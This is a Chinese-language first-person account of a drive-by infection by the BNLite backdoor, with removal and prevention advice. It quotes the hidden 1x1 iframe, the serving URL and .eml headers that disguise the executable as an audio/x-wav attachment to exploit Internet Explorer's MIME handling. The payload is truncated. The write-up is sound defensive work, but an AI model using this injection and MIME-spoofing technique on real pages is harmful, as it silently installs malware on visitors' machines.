切身體驗：中招過程

瀏覽某網頁時滑鼠變沙漏，任務管理器出現 wincfg.exe 進程（路徑：C:\WINNT\wincfg.exe 或 C:\Windows\wincfg.exe）。註冊表 Run 鍵下發現該項，金山毒霸報毒為 Backdoor BNLite。該木馬僅 6.5KB，功能卻極強：ICQ 通報、遠程刪除、端口設置、上傳下載、建立隱藏 FTP 服務等，控制端可獲最高權限。

木馬如何下載並運行？

禁用 ActiveX 後仍中招，禁用文件下載選項後才阻止。查看網頁源碼發現：

<iframe src=wincfg.eml width=1 height=1>

直接在 IE 輸入 https://shirf.51.net/wincfg.eml 即觸發下載運行。下載該 .eml 文件分析，關鍵內容：

Content-Type: audio/x-wav; name="wincfg.exe"
Content-Transfer-Encoding: base64
Content-ID: <THE-CID>
TVqQAAMAAAAEAAAA//8AAL... (base64 編碼的木馬程序)

攻擊者將木馬偽裝為音頻附件（audio/x-wav），利用 IE 錯誤的 MIME 頭處理漏洞：當郵件類型為 audio/x-wav 時，IE 會自動嘗試打開附件，導致木馬運行。Win2000 下甚至點擊下載的 .eml 或複製粘貼都會觸發。

解決辦法

1. 運行 regedit，刪除 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 下的 wincfg.exe。
2. 刪除系統目錄下的 wincfg.exe 文件。
3. 重啟電腦。

預防措施

IE/Outlook 用戶

• 將 Internet 區域安全級別調至「高」。
• 禁用「對標記為可安全執行腳本的 ActiveX 控件執行腳本」、「活動腳本」、「文件下載」。
• 禁用所有 ActiveX 控件和插件。
• 資源管理器設置「始終顯示擴展名」。
• 禁止以 Web 方式使用資源管理器。
• 取消「下載後確認打開」設置。

通用建議

• 不輕易打開陌生人發送的 URL，需查看可先用下載工具保存再用文本編輯器分析源碼。
• 安裝微軟官方補丁：Q290108。